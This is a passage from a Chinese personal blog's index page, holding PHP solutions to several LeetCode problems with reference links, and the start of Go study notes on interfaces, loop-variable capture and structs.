<!DOCTYPE html>



  


<html class="theme-next gemini use-motion" lang="zh-Hans">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">
<script>
    (function () {
        if ('') {
            if (prompt('请输入文章密码') !== '') {
                alert('密码错误！');
                if (history.length === 1) {
                    location.replace("https://google.com"); // 这里替换成你的首页
                } else {
                    history.back();
                }
            }
        }
    })();
</script>








<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT">










<meta property="og:type" content="website">
<meta property="og:title" content="苏生不惑的博客">
<meta property="og:url" content="http://yoursite.com/page/36/index.html">
<meta property="og:site_name" content="苏生不惑的博客">
<meta property="og:locale" content="zh-Hans">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="苏生不惑的博客">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Gemini',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://yoursite.com/page/36/">



<meta name="referrer" content="never"> ​​​​


  <title>苏生不惑的博客</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left 
  page-home">
    <div class="headband"></div>

    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">苏生不惑的博客</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            关于
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            归档
          </a>
        </li>
      

      
        <li class="menu-item menu-item-search">
          
            <a href="javascript:;" class="popup-trigger">
          
            
              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
            
            搜索
          </a>
        </li>
      
    </ul>
  

  
    <div class="site-search">
      
  <div class="popup search-popup local-search-popup">
  <div class="local-search-header clearfix">
    <span class="search-icon">
      <i class="fa fa-search"></i>
    </span>
    <span class="popup-btn-close">
      <i class="fa fa-times-circle"></i>
    </span>
    <div class="local-search-input-wrapper">
      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
    </div>
  </div>
  <div id="local-search-result"></div>
</div>



    </div>
  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            
  <section id="posts" class="posts-expand">
    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/03/19/leetcode-题解/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/03/19/leetcode-题解/" itemprop="url">leetcode 题解</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-19T15:15:39+08:00">
                2019-03-19
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  494 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  2 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="Two-Sum"><a href="#Two-Sum" class="headerlink" title="Two Sum"></a>Two Sum</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">给定一个整数数组 nums 和一个目标值 target，请你在该数组中找出和为目标值的那两个整数，并返回他们的数组下标。</span><br><span class="line">给定 nums = [<span class="number">2</span>, <span class="number">7</span>, <span class="number">11</span>, <span class="number">15</span>], target = <span class="number">9</span></span><br><span class="line">因为 nums[<span class="number">0</span>] + nums[<span class="number">1</span>] = <span class="number">2</span> + <span class="number">7</span> = <span class="number">9</span></span><br><span class="line">所以返回 [<span class="number">0</span>, <span class="number">1</span>]</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">twoSum</span>(<span class="params">$nums, $target</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!isset($nums[<span class="number">1</span>])) <span class="keyword">return</span>;</span><br><span class="line">        foreach ($nums <span class="keyword">as</span> $key =&gt; $num) &#123;</span><br><span class="line">            unset($nums[$key]);</span><br><span class="line">            $result = array_search($target - $num, $nums);</span><br><span class="line">            <span class="keyword">if</span> ($result !== <span class="literal">false</span>) <span class="keyword">return</span> [$key, $result];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Solution</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @param String $J</span></span><br><span class="line"><span class="comment">     * @param String $S</span></span><br><span class="line"><span class="comment">     * @return Integer  https://learnku.com/articles/27545</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">numJewelsInStones</span>(<span class="params">$j, $s</span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">        $jArr = str_split($j);</span><br><span class="line">        $sArr = str_split($s);</span><br><span class="line">        $i = <span class="number">0</span>;</span><br><span class="line">        foreach($sArr <span class="keyword">as</span> $sItem)&#123;</span><br><span class="line">            <span class="keyword">if</span>(in_array($sItem, $jArr))&#123;</span><br><span class="line">                $i++;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $i;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="在常数时间内检索到最小元素的栈"><a href="#在常数时间内检索到最小元素的栈" class="headerlink" title="在常数时间内检索到最小元素的栈"></a>在常数时间内检索到最小元素的栈</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MinStack</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line"></span><br><span class="line">    protected $stack;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * initialize your data structure here.</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;stack = [];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @param Integer $x</span></span><br><span class="line"><span class="comment">     * @return NULL</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">push</span>(<span class="params">$x</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $<span class="keyword">this</span>-&gt;stack[] = $x;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @return NULL</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">pop</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        array_pop($<span class="keyword">this</span>-&gt;stack);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @return Integer</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">top</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> end($<span class="keyword">this</span>-&gt;stack);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @return Integer</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">getMin</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> min($<span class="keyword">this</span>-&gt;stack);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Reverse-Integer"><a href="#Reverse-Integer" class="headerlink" title="Reverse Integer"></a>Reverse Integer</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">输入: <span class="number">123</span></span><br><span class="line">输出: <span class="number">321</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">reverse</span>(<span class="params">$x</span>) </span>&#123;</span><br><span class="line">        $result = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> (abs($x) &gt; <span class="number">9</span>) &#123;</span><br><span class="line">            $num = $x % <span class="number">10</span>;</span><br><span class="line">            $x = (int)($x / <span class="number">10</span>);</span><br><span class="line">            $result = $result * <span class="number">10</span> + $num;</span><br><span class="line">        &#125;</span><br><span class="line">        $result = $result * <span class="number">10</span> + $x;</span><br><span class="line">        <span class="keyword">if</span> (strlen(base_convert($result, <span class="number">10</span>, <span class="number">2</span>)) &gt; <span class="number">31</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">return</span> $result;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="回文数"><a href="#回文数" class="headerlink" title="回文数"></a>回文数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">输入: <span class="number">121</span></span><br><span class="line">输出: <span class="literal">true</span></span><br><span class="line"></span><br><span class="line">输入: <span class="number">-123</span></span><br><span class="line">输出: <span class="literal">false</span></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">isPalindrome</span>(<span class="params">$x</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($x &lt; <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">if</span> ($x % <span class="number">10</span> === <span class="number">0</span> &amp;&amp; $x != <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        $reverse = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> ($x &gt; $reverse) &#123;</span><br><span class="line">            $reverse = (int)($reverse * <span class="number">10</span> + $x % <span class="number">10</span>);</span><br><span class="line">            $x = (int)($x / <span class="number">10</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $x === $reverse || $x === (int)($reverse / <span class="number">10</span>);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="Remove-Linked-List-Elements"><a href="#Remove-Linked-List-Elements" class="headerlink" title="Remove Linked List Elements"></a>Remove Linked List Elements</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">     * @param ListNode $head</span></span><br><span class="line"><span class="comment">     * @param Integer $val</span></span><br><span class="line"><span class="comment">     * @return ListNode</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">removeElements</span>(<span class="params">$head, $val</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(!$head)&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $data=$head;</span><br><span class="line">        <span class="keyword">while</span>($data-&gt;next)&#123;</span><br><span class="line">            <span class="keyword">if</span>($data-&gt;next-&gt;val==$val)&#123;</span><br><span class="line">                $data-&gt;next=$data-&gt;next-&gt;next;</span><br><span class="line">            &#125;<span class="keyword">else</span>&#123;</span><br><span class="line">                $data=$data-&gt;next;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $head-&gt;val==$val?$head-&gt;next:$head;      </span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><a href="https://lbjheiheihei.xyz/2018/08/23/CTF-2.html" target="_blank" rel="noopener">CTF 相关的内容</a></p>
<p><a href="https://cgctf.nuptsast.com/challenges#Web" target="_blank" rel="noopener">ctf 挑战</a></p>
<p><a href="http://cs-cjl.com/2016/06_23_leetcode_1_two_sum" target="_blank" rel="noopener">LeetCode 算法题 1. Two Sum</a></p>
<p><a href="https://laravelacademy.org/post/19641.html" target="_blank" rel="noopener">Leetcode基础刷题之PHP解析(112. Path Sum)</a></p>
<p><a href="https://learnku.com/articles/25478" target="_blank" rel="noopener">尝试 Leetcode https://github.com/icecho/leetcode</a></p>
<p><a href="https://laravelacademy.org/tags/leetcode" target="_blank" rel="noopener">Leetcode之PHP版题目解析</a></p>
<p><a href="https://leetcode-cn.com/" target="_blank" rel="noopener">leetcode中国</a></p>
<p><a href="https://github.com/haoel/haoel.github.io" target="_blank" rel="noopener">科学上网</a></p>
<p><a href="https://learnku.com/articles/25461#topnav" target="_blank" rel="noopener">挑战用 PHP 在 LeetCode 刷算法题</a></p>
<p><a href="http://blessjing.cn/index.php/2019/03/31/arts-%E6%8C%91%E6%88%98%EF%BC%88%E7%AC%AC%E4%BA%8C%E5%91%A8%EF%BC%89/" target="_blank" rel="noopener">ARTS 挑战</a></p>
<p><a href="https://github.com/haoel/leetcode" target="_blank" rel="noopener">LEETCODE 编程训练</a></p>
<p><a href="https://github.com/wuqinqiang/leetcode-php" target="_blank" rel="noopener">PHP 开始 leetcode 刷题时光</a></p>
<p><a href="https://learnku.com/articles/29219" target="_blank" rel="noopener">Leetcode 二叉树题目集合</a></p>
<p><a href="https://github.com/8090Lambert/Leetcode-Example" target="_blank" rel="noopener">Leetcode 全套题解</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/03/18/golang-学习笔记/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/03/18/golang-学习笔记/" itemprop="url">golang 学习笔记</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-03-18T20:39:59+08:00">
                2019-03-18
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  7.9k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  38 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="interface-接口"><a href="#interface-接口" class="headerlink" title="interface 接口"></a>interface 接口</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://learnku.com/articles/25488</span></span><br><span class="line">type Pet interface &#123;</span><br><span class="line">    SetName(name string)</span><br><span class="line">    Name() string</span><br><span class="line">    Category() string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Dog struct &#123;</span><br><span class="line">    name string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (dog *Dog) SetName(name string) &#123;</span><br><span class="line">    dog.name = name</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (dog Dog) Name() string &#123;</span><br><span class="line">    <span class="keyword">return</span> dog.name</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (dog Dog) Category() string &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">"dog"</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func TestDog(t *testing.T) &#123;</span><br><span class="line">    dog := Dog&#123;<span class="string">"little pig"</span>&#125;</span><br><span class="line">    _, <span class="attr">ok</span> := interface&#123;&#125;(dog).(Pet)</span><br><span class="line">    fmt.Printf(<span class="string">"Dog implements interface Pet: %v\n"</span>, ok) <span class="comment">// Dog implements interface Pet: false</span></span><br><span class="line">    _, ok = interface&#123;&#125;(&amp;dog).(Pet)</span><br><span class="line">    fmt.Printf(<span class="string">"*Dog implements interface Pet: %v\n"</span>, ok) <span class="comment">// *Dog implements interface Pet: true</span></span><br><span class="line">    <span class="keyword">var</span> pet Pet = &amp;dog</span><br><span class="line">    fmt.Printf(<span class="string">"This pet is a %s, the name is %q.\n"</span>,</span><br><span class="line">        pet.Category(), pet.Name()) <span class="comment">//  This pet is a dog, the name is "little pig".</span></span><br><span class="line"></span><br><span class="line">    dog.SetName(<span class="string">"monster"</span>)</span><br><span class="line">    fmt.Printf(<span class="string">"This pet is a %s, the name is %q.\n"</span>,</span><br><span class="line">        pet.Category(), pet.Name()) <span class="comment">// This pet is a dog, the name is "monster".</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Go-陷阱之-for-循环迭代变量"><a href="#Go-陷阱之-for-循环迭代变量" class="headerlink" title="Go 陷阱之 for 循环迭代变量"></a>Go 陷阱之 for 循环迭代变量</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> slice []func()</span><br><span class="line"><span class="comment">//https://learnku.com/articles/26861</span></span><br><span class="line">func main() &#123;</span><br><span class="line">    sli := []int&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>&#125;</span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">v</span> := range sli &#123;</span><br><span class="line">        fmt.Println(&amp;v)</span><br><span class="line">        slice = append(slice, func()&#123;</span><br><span class="line">            fmt.Println(v * v) <span class="comment">// 直接打印结果</span></span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">val</span>  := range slice &#123;</span><br><span class="line">        val()</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 25 25 25 25 25</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> slice []func()</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    sli := []int&#123;<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>&#125;</span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">v</span> := range sli &#123;</span><br><span class="line">        temp := v <span class="comment">// 其实很简单 引入一个临时局部变量就可以了，这样就可以将每次的值存储到该变量地址上</span></span><br><span class="line">        fmt.Println(&amp;temp) <span class="comment">// 这里内存地址是不同的</span></span><br><span class="line">        slice = append(slice, func()&#123;</span><br><span class="line">            fmt.Println(temp *  temp) <span class="comment">// 直接打印结果</span></span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">val</span>  := range slice &#123;</span><br><span class="line">        val()</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 1, 4, 9, 16, 25 预期结果</span></span><br><span class="line"><span class="keyword">for</span> i, <span class="attr">v</span> := range</span><br><span class="line">i, v 都是只创建一次，然后循环中赋值。</span><br><span class="line">另外，循环的数组或 <span class="built_in">Map</span>，是在开始前的镜像，循环中添加或移除元素不改变其循环次数。</span><br><span class="line">关于循环还可以引申的是 <span class="built_in">Map</span> 时是无序的</span><br></pre></td></tr></table></figure>
<h3 id="Struct-与-面向对象"><a href="#Struct-与-面向对象" class="headerlink" title="Struct 与 面向对象"></a>Struct 与 面向对象</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">type Human struct &#123;</span><br><span class="line">    name string</span><br><span class="line">    age int</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> tom Human</span><br><span class="line"><span class="comment">// 通过赋值初始化 https://learnku.com/articles/25094</span></span><br><span class="line">tom.name, tom.age = <span class="string">"Tom"</span>, <span class="number">18</span></span><br><span class="line"><span class="comment">// 详细初始化</span></span><br><span class="line">jerry := Human&#123;<span class="attr">age</span>:<span class="number">25</span>, <span class="attr">name</span>:<span 